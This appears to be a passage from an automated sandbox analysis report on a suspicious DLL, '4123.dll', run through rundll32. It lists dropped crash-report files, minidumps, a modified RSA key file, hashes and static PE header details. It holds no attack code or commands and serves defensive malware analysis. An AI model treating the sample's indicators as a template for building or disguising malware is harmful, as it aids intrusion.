Entropy (8bit):	3.762585176375152
Encrypted:	false
SSDEEP:	192:i5i/0oXANHBUZMXMed+V38RR/u7sPS274ItWcb:QiBXYBUZMXMe3R/u7sPX4ItWcb
MD5:	0B84BEE277813D09A6B3A854C1EFE851
SHA1:	F0D067DE3E92B33BDCF13B48033D766EB4ED4EF7
SHA-256:	B1C4F5A999E69082FDEDC89C22A72557209B4ADD1EDB306BAB2E6E466DC0CAAA
SHA-512:	C899623618CF3FB1FE6E33C8358B92A3142A0778894153C9C74E718CB101224DB347ADAA7FC82FBA4EF19F62DAE75C401F01D85FB3CFBBA2AD80C97F45E5D8B8
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.2.3.5.8.5.7.3.6.7.0.6.1.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.2.3.5.8.5.8.0.5.1.4.3.5.2.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.4.c.6.c.f.f.-.6.3.d.3.-.4.8.0.e.-.b.1.a.1.-.1.4.2.3.c.d.b.5.5.a.7.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.a.9.7.9.9.9.c.-.c.4.f.b.-.4.4.d.f.-.9.0.6.9.-.d.e.f.9.0.1.e.f.3.a.a.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.7.8.-.0.0.0.1.-.0.0.1.b.-.7.4.6.3.-.7.c.d.2.7.2.2.c.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundll32.exe_8c89162c89cd9acf4ef916dd41e49245a3ef8e_c5a4189a_198fc070\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13614
Entropy (8bit):	3.762288872168681
Encrypted:	false
SSDEEP:	192:D/is0oX1NHBUZMXMed+V38RR/u7sPS274ItWcC:7iqXHBUZMXMe3R/u7sPX4ItWcC
MD5:	E987F6574AD074D425A4912D15A41936
SHA1:	42EB0D593F3F2E5772BFBC5CD7C335E8EDD029C2
SHA-256:	6C50E9A4160803C2B1AF302A5DC9D4541B2DFEDBE2D1527280560A624B94E812
SHA-512:	ABAE516DF7D04831EA7A4AA5BE704D02241332A3E2333795CA44C29E14E76B1CF55F2CA6A59A9E2EF62901CCBFF76FEE5F5753B123B329B9DF9C4605E010D908
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.2.3.5.8.5.7.0.0.7.6.8.7.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.2.3.5.8.5.7.6.6.7.0.6.0.2.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.0.8.f.1.7.2.-.1.a.7.0.-.4.c.4.c.-.a.7.2.b.-.a.4.3.e.5.0.9.2.c.8.e.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.5.4.2.5.8.e.2.-.8.2.b.7.-.4.3.7.5.-.9.4.d.0.-.b.6.a.e.2.8.c.c.a.d.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.d.0.-.0.0.0.1.-.0.0.1.b.-.e.5.c.f.-.7.f.d.0.7.2.2.c.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundll32.exe_8c89162c89cd9acf4ef916dd41e49245a3ef8e_c5a4189a_199fc1e7\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13642
Entropy (8bit):	3.7621209734748455
Encrypted:	false
SSDEEP:	192:Sb/if0oXUNHBUZMXMed+V38RR/u7sPS274ItWcc:O/ihX0BUZMXMe3R/u7sPX4ItWcc
MD5:	43BAB30A12B9C79425777ED1B6EA1D8E
SHA1:	59B5BE82616F50DC63A7F600E6ACA6AD11057F52
SHA-256:	BA1CC68C780845B86EB9C8F44D611583244F4E75D27B571A46B4E4105607C236
SHA-512:	9643D50D606B4BA93330BE5DE028A4D52E5AD4BF7EABBFCDCA094EB07459CCB2422BF51D4FD52C00B285B36E217576C46CC8FA9C89FAE1A4DCFA1B14B41CCC8A
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.2.3.5.8.5.7.0.0.4.5.6.2.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.2.3.5.8.5.7.6.4.3.6.2.2.8.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.8.4.0.3.4.8.b.-.3.3.e.9.-.4.f.d.7.-.9.8.5.1.-.f.e.4.c.b.6.7.3.1.3.9.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.8.e.6.5.c.d.6.-.7.e.4.5.-.4.f.8.3.-.b.e.0.6.-.b.c.1.d.0.e.8.5.c.1.6.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.d.c.-.0.0.0.1.-.0.0.1.b.-.9.5.f.5.-.8.3.d.0.7.2.2.c.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0B3.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Apr 8 12:29:31 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	69362
Entropy (8bit):	2.0838765716463046
Encrypted:	false
SSDEEP:	192:WzxBx/JhX37iYllk1UeZzPcp2OI65rAAT0j5m+KO1kDZ40co8NhMXtgpZKh6UsPA:Yn7Nocp2h658AI1KZ4eO2gZKqZdLs
MD5:	11BABEB8443873140C5FFFD59A4859A0
SHA1:	F145EF81A373D81BB420F53E173C0488682F3C10
SHA-256:	7BD214E29D65814A7247A97E5C0CA7995F81985AEAF0C4D89E18145BA252F7B9
SHA-512:	4719E68EE4FAFE8521B0223C6C831D48444F949962EB50C2174E22E50076589AC0EA0884889D1F3582FA3EACAE236B947D0FC419D85A2A1FA9C36EF3B1E60A7A
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......+.n`...................U...........B.......%......GenuineIntelW...........T...........&.n`.............................0..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0D2.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Apr 8 12:29:32 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	76724
Entropy (8bit):	1.98536722039344
Encrypted:	false
SSDEEP:	384:vLrhLY4R/gX6vqy3Ze1EG3CjKhQ51zrJZtzT:vLO6vqy34263qzVb
MD5:	26314EB10423593B8775470283F25386
SHA1:	721A02C21AC42C9589F49216A79CAD9E28E66116
SHA-256:	6D0C9A5A5EC79D125846A560D2DE9407CCA05F3C430C4CA5C5384ED3C90DDD32
SHA-512:	275A3540E55CAA38DA6CE0F81B922759A39F20F1D6EB765F9650F341CAF01435091D65B200DD215C7D5E157226F7A74761B355AAEA9A5C9B30567B566C85EA86
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......,.n`...................U...........B......H%......GenuineIntelW...........T...........&.n`.............................0..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA8E1.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8292
Entropy (8bit):	3.7002327632724343
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiCg6ieNH7H6Y1+6rgmfTlS1+prB89bWOsffSm:RrlsNil6LN76Ys6rgmfTlSPWNfr
MD5:	5E603E5F60061153C133783DEE237FEF
SHA1:	B2EFC05FA8A53317C95A808E2E480A6866669C48
SHA-256:	6E2021C4CF13AF2EF78FFE9C7426F0F1CEE5AB05E42844E02B2EBB94F26E8829
SHA-512:	6EE8558CA2059B3F1B82A8A1849724815492744FE7927A29C1C327CEFAC16191DB6DF591E86124262BDC691E74FACBAC06CD48D7D3435AA54FA467AF3E608B4A
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.3.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA99D.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8282
Entropy (8bit):	3.6968782999776884
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiBe6rbx7c6Ytt6cgmfTlS1+pr389bWqsfxSm:RrlsNiY6rbG6YH6cgmfTlSJWJfl
MD5:	133C6D7239DB97584D2608100DD48BA8
SHA1:	0F541A791FEC9F1CADE7871FADE60B8F46346E3D
SHA-256:	577B2BCB43894D70D6865D60F493F4996C432997BF771C77E36719435D56B32B
SHA-512:	C70B6650AA0E4D69FCB95E4DB3921C24D3DAF3F87B0B415A2D7966266F0E20B8F2021DF7223D04A0A4BACF8E12E2B1D37065C7B987D34C28A2C334488070B759
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.2.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAB05.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4669
Entropy (8bit):	4.500901840326026
Encrypted:	false
SSDEEP:	48:cvIwSD8zssJgtWI9eUVWSC8Bid18fm8M4JCdejZFh+q8/oz/4SrSmd:uITfqVRSNAIJ7dD/DWmd
MD5:	74F53426B5EC09FC00D74426B021F886
SHA1:	2B2DA45D18F928584DC7CB8302B217A04950A8A3
SHA-256:	DF16B82786D1296D0955D2F0E66FEBB85F56CDF6896E4415049C917EEFEC43FB
SHA-512:	C3445A3F65D33A682DB1DEE3E2108BD964479F80A405FECBEB0E89B5A87A6746AC999A6625B2F95D0161976ED2B0651E8D465E319D884A2CDE0E0658A305DCB2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="937300" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERABF0.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4669
Entropy (8bit):	4.500862773852269
Encrypted:	false
SSDEEP:	48:cvIwSD8zssJgtWI9eUVWSC8Biq8fm8M4JCdejZFb+q8/ozC4SrSnd:uITfqVRSNAfJ7XDCDWnd
MD5:	D6630F9DC50064A95F0799E624D27429
SHA1:	3CB30D4DB5B8AC85F23785EF9FD901B94D9E657F
SHA-256:	60C2843A40CC04E9545C7A5DB5E5EF33A4E131809ABF0DE46175C986949D4B11
SHA-512:	69AFBA39CE60A2C9DFF034D4919F64C16B766F92E924F76FE4184BF2F47B1A6D4A187EA4869A686D8C8185FB1A5941636523C47830F36F8A785BD649EFE86978
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="937300" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEDC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Apr 8 12:29:36 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	72414
Entropy (8bit):	1.9780823290006586
Encrypted:	false
SSDEEP:	384:cYkYU7AFXrbp831KZoeOqAvKM5vOyN9jI:cYkYOAp92IZbAtmyr0
MD5:	A51999AF613CCA8FA575C3F29CE4D9E1
SHA1:	CCB0BE5B8844232810D5CA7426484BADC6661526
SHA-256:	E59AC12A44C48D3345B1951992A4A7ED17DDC201A041E4EF980A6A3907B99976
SHA-512:	98BAFBC9718DD9CF1F3C5A7768303FC780B5B5BEB2434E3465ECDA94592EC140F5C0CF31A492E3A37F8DBE8E1C972063F34F3B82658EC10781252726799F3FFB
Malicious:	false
Preview:	MDMP....... .......0.n`...................U...........B.......%......GenuineIntelW...........T.......x...).n`.............................0..1...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB99B.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8284
Entropy (8bit):	3.697156374563282
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiwQ69NH7x6YtQc6cgmfTlS1+prY89bybsfKGm:RrlsNi369N96YOc6cgmfTlSkygfC
MD5:	7A9B32A1B8C07143AD1744B6C10C62F1
SHA1:	50BD285C3D7ECE7975E8A2747F01991C0FFA40CE
SHA-256:	7179B2B7E5D28F9983BC5709FB89D2101195A696AB4ACB54A5D4E6B27B526E1A
SHA-512:	A9A63DC4ED097581CB8F8A2C08EBFE7066FDF4DA5E9F2C8E29F090999A3F473C7EBF261550A83DDA3F7349989AD8321B07890376199DCF324FFB35282F7B58C4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.5.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC5B.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4669
Entropy (8bit):	4.500815625173022
Encrypted:	false
SSDEEP:	48:cvIwSD8zssJgtWI9eUVWSC8Biz8fm8M4JCdejZF6v+q8/ozSA4SrS9d:uITfqVRSNAQJ7YDlDW9d
MD5:	72F72E6CF14F55E38E2822BF6843E620
SHA1:	B9CE2A3CE2A734C6A459C7B9568E3767D5DFEAA0
SHA-256:	876985750B219F0CFE399B64CAF5BCD01773A4081DEE6FED5461DFEB3FDAD174
SHA-512:	3B2ED66AC27D4C9B03F2E914DB3B3907906B2FC2BA5E26E9B0DFD6CDC1EEEBB40DEA29BFC69A831C10CBD62FFB9B76ED2A4135F75AAD99B8E042A0FA90933880
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="937300" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	2132
Entropy (8bit):	7.078049608180308
Encrypted:	false
SSDEEP:	48:Jb6UE0wURPA+UCxdKEAIJVpfb6UE6Kzp7LHfv0QhGM2dWEaNAO0:Jb6k5PA+UCJVpfb6RN//vVGMW2z0
MD5:	E80D7177BA4A73162E8068C469E4D40D
SHA1:	C160660F8B829ABCE22E986E947FA3CD3C87070F
SHA-256:	09E0C102612AE962EC78E8656ABAAF16A27886BBE9C76FCEADC6766F24251EDE
SHA-512:	E12CE12D5BBF82F36F6D45776B69212AFB092B8E36F0750813A2FFA46DBA419D872A370A6579D1DEC8C886966B91A59408001676430253F16D08B337011AA820
Malicious:	false
Preview:	....................\...................user.....................RSA1H.......?...........}...h8...B~k..!.R..<.HN:D...tW....5g.n.xLu5..tI. .q5e.. ........................z..O.........\p.O...P........,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... .....)...Q,w..C......n"...4.>............. ....y...Z ..2..q.F."y3X..K....H.....@....~...?.5....T.....E....a...r.\|..!.J2.....&.....>.....#.L=.).Lk{.z.R..%.`.%..Z...E. 6h<f..~&.u0..jgD.L.w..5X.U.....;.k.1.^..vP...!.......v..k....2.FIv#..X~.......D...t..>.........EYUB.rf...V5.fw...sM..=RmJ}....../...O.,_~.?./.fe.....V..Z.2...Z....-q..S-wl.f...x..Ax........O..\>.r.....F1.....<..S..{e`...k_9....h.....I..!......X..p.P....."n..\e....`a..9....;zW.<g.3b[u...!@.....z......Y...i.%{_..g.......G...n....w..[.qn.&+.Tg.-.................z..O.........\p.O...P............E.x.p.o.r.t. .F.l.a.g....f...... ...d..;.Z.C..Q.z...........Y.T..c............. ....)...-"....?}.b.".......h..H......\.B..:.M..... @.

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.690395065467963
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4123.dll
File size:	49152
MD5:	f776deb4df137b37dcae5406c8f3a07a
SHA1:	f6a31b594fca39c118927405fa4d14353b8fd49a
SHA256:	93cc5e6a6b671d9b0124ade32ae8b09269de9f03c5c5e66347fbfc7a8c3b305e
SHA512:	4077b4214b4683bb4776d470027e61fcc3cb3e78beb9377674e4a4de9115d52911e39cb29a566ab446c6962a252ce01020ffd616b5854a9d8230414262bfafe2
SSDEEP:	768:fw2jnhaqqUgQeONXr27iLAkfP69FyfQZWBS:hjnEQeON727CA2G
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[E...$...$...$...8...$...;...$..};...$...$..L$...;...$..."...$...;...$..Rich.$..........................PE..L.....b`...........

File Icon


Icon Hash:	7575757575759ab2

Static PE Info

General
Entrypoint:	0x10001aa1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED
DLL Characteristics:
Time Stamp:	0x60620D8C [Mon Mar 29 17:25:32 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
